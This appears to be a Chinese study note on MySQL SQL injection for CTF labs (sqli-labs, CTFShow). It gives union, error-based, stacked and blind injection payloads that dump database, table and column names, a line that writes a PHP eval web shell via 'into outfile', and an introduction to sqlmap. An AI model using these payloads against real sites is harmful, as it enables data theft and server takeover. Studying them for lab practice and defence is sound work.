Structured Query Language (结构化 查询 语言)
sys、mysql、performance_schema、information_schema;
数据库 information_schema(MySQL5.0版本以上才有这个库)
SCHEMATA
该表存放用户创建的所有数据库库名
- SCHEMA_NAME 字段记录数据库库名
TABLES
该表存放用户创建的所有数据库库名和表名
- TABLE_SCHEMA 字段记录数据库名
- TABLE_NAME 字段记录表名
COLUMNS
该表存放用户创建的所有数据库库名、表名和字段名
- TABLE_SCHEMA 字段记录数据库名
- TABLE_NAME 字段记录表名
- COLUMN_NAME 字段记录字段名
数据库 mysql、sys可以查出 table_name
# -- (注意--后面需要一个空格) --+ /*注释内容*/
参数传递时记得url编码,因为特殊字符会导致非预期的情况出现
user()
:当前数据库用户
database()
:当前数据库名
version()
:当前使用的数据库版本
concat()
:联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat()
:和 concat()
类似,如 group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来
concat_ws()
:用法类似concat()
hex()
和 unhex()
:用于 hex 编码解码
ASCII()
:返回字符的 ASCII 码值
CHAR()
:把整数转换为对应的字符
load_file()
:读取本地文件
select '<?php @eval($_POST["cmd"]);?>' into outfile '路径'
:权限较高时可直接写文件
——以MySQL + PHP为例
// PHP + MySQL $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id'"; $result=mysql_query($sql); // mysql_query() — 发送一条 MySQL 查询,新版本PHP中替换为 mysqli_query()
——也就是是判断PHP语句中参数是否被引号包裹
sqli-labs pass1 为例
正常参数:id=1,成功回显信息,证明查询正常,也就证明语法无误
尝试:id=1#
若成功回显信息,与传递 id=1 没区别,说明参数没被引号包裹
若回显异常,进一步测试 id=1'#
若回显正常,说明参数被单引号包裹
若仍旧回显异常,测试 id=1"#
若回显正常,说明参数被双引号包裹
若还异常,说明存在其他情况
当然,还有更多方法进行测试,如 id=1 or 1=1,id=1' or '1'='1
还可以根据参数的意义来猜,比如name那就大概得是会被引号包裹,作为字符串;而id大概是没被引号包裹,作为数字
上面咱们探讨了怎么通过回显正常和异常判断PHP代码中该参数是否被引号包裹,是否需要闭合引号
但是!
你怎么知道什么样的回显是"正常",什么样的是"异常"?当然你可以说"一看就知道"。。。因为可以通过是否返回预期的数据来判断
为了更严谨点,可以这么做:
①id=1 and false# ②id=1' and false# ③id=1 and true# ④id=1' and true#
如果参数没被单引号包裹,参数作为数字,则:③返回页面为正常,其余三次均为异常
如果参数被单引号包裹,参数作为数字,则:④返回页面为正常,其余三次均为异常
也就是说,只出现一次的为正常返回,顺便地,由到底是③还是④的情况只出现一次,就可以判断出参数是否被单引号包裹
可以是一切被服务器用来与数据库交互的参数,不局限于GET、POST
例如上述PHP代码中,$id 还可以以这些方式出现:
$id=$_POST['id']; $id = $_COOKIE['id']; $id = $_REQUEST['id']; $id = $_FILES['file']['tmp_name']; $id = $_SERVER['HTTP_HOST']; ……
(burp抓包说明
——我认为的有意义的分类
——通过union来查询更多数据
语法要求:union两端查询语句返回列数相等
$sql="SELECT * FROM users WHERE id='$id'";
id=-1' union select 1,2,3,4,……# #修改id为一个不存在的id,或者使用 and false ,目的是使得union前的语句无法查询到数据不占用回显位,进而使得union后的语句回显1,2,3,4……(可能不会都回显,比如实际查询结果为4列,实际只回显2列,我们需要找到回显的位置进而从这儿构造语句查询更多数据)
#ORDER BY 关键字用于对结果集进行排序。 ?id=1' order by 3# --返回正常 ?id=1' order by 4# --返回正常 ?id=1' order by 5# --返回错误 #这就证明字段总数为4 #还有group by
查询数据
例题:CTFShow web518
?id=-1 union select 1,2,3--+ #假定此时正常回显,也就是查询到数据为3列,再假定回显位有3 #使用fuzz ?id=-1 union select 1,2,database()--+ #查到当前数据库为security ?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+ #查到所有schema_name为ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test,猜测 flag 在 ctfshow数据库中 ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+ #查询到数据库ctfshow 中 table_name 有flagaa ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagaa'--+ #查询到数据库ctfshow中 表flagaa中 column_name 有id,flagac,猜测flag在 flagac 中 ?id=-1 union select 1,2,group_concat(flagac) from ctfshow.flagaa--+ #最终成功得到flag
——页面会返回错误信息的情况下使用
例题:CTFShow web518
// 例题PHP部分源码 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; }else { print_r(mysql_error()); }
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
使用条件:mysql版本>5.1.5
payload:id=0 and(select extractvalue("anything",concat('~',(select语句))))
#databases id=0 and(select extractvalue(1,concat(0x7e,(select database()))));--+ ?id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))));--+ #tables id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='库'))));--+ #columns id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库' and table_name="表"))));--+ #data id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(列) from 库.表))));--+ id=0 and(select extractvalue(1,concat(0x7e,(select substring((select group_concat(flagac) from ctfshow.flagaa),1,30)))));--+ ?id=0 and(select extractvalue(1,concat(0x7e,(select substring((select group_concat(flagac) from ctfshow.flagaa),31)))));--+
语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
payload:id=0 and(select updatexml("anything",concat('~',(select语句())),"anything"))
#databases 0 and(select updatexml(1,concat(0x7e,(select database())),0x7e))# #tables 0 and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))# #columns 0 and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="表名")),0x7e))# #data 0 and(select updatexml(1,concat(0x7e,(select group_concat(列名)from 表名)),0x7e))#
语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点的值
第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
Stack Queries(堆叠查询)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls
。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ;
将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECT
、INSERT
等操作),联合查询仅支持 SELECT
语句,同时两个查询语句的列数要一致。
$id = $_GET['id']; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1;show databases;creat database aaaa;…… --+
Boolean-based blind(布尔盲注)即基于布尔值(true or false)的方法,通过 SQL语句中真假条件的执行情况推断出数据库的信息
id=1 and 1=1 --+ id=1 and 1=2 --+ id=1 and substring(version(),1,1)=5 id=1 and right(left(version(),1),1)=5
id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) ,1,1) = 'f' --+
Time-based blind(延时盲注)即基于延时的方法,同样通过 SQL语句中真假条件的执行情况推断出数据库的信息,但是使用延时执行的函数如 Mysql 中 sleep
,使得不同条件执行查询的时间不同,自然网页上显示结果的时间存在差异,以此推断数据库的信息。
延时的方法
SLEEP
SLEEP(n)
,延时 n 秒后执行BENCHMARK
BENCHMARK(loop_count,expr)
函数用来测试 SQL 语句或者函数的执行时间,第一个参数表示执行的次数,第二个参数表示要执行的操作。通常使用使用 MD5、SHA1 等函数,执行次数 100000。GET_LOCK
MySQL 的
GET_LOCK(str, timeout)
函数尝试获取一个名字为str
的锁 ,等待timeout
秒未获得,则终止函数,函数返回 0 值,成功则返回 1。利用条件是,开启两个 MySQL 数据库连接,先后在两个连接中使用 GET_LOCK 函数获取相同名字的锁,后面使用 GET_LOCK 函数的连接无法得到锁,等待timeout
秒后执行其它操作。
id=1 and if(substr(database(),1,1)='a',sleep(2),1)--+
——做不出CTF题的神器 x
——sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. √
sqlmap是一个开源的渗透测试工具,可以使检测和利用SQL注入漏洞和接管数据库服务器的过程自动化。它有一个强大的检测引擎,为最终的渗透测试者提供了许多利基功能,以及广泛的开关,包括数据库指纹,从数据库中获取更多的数据,访问底层文件系统,并通过带外连接在操作系统上执行命令。
pip install sqlmap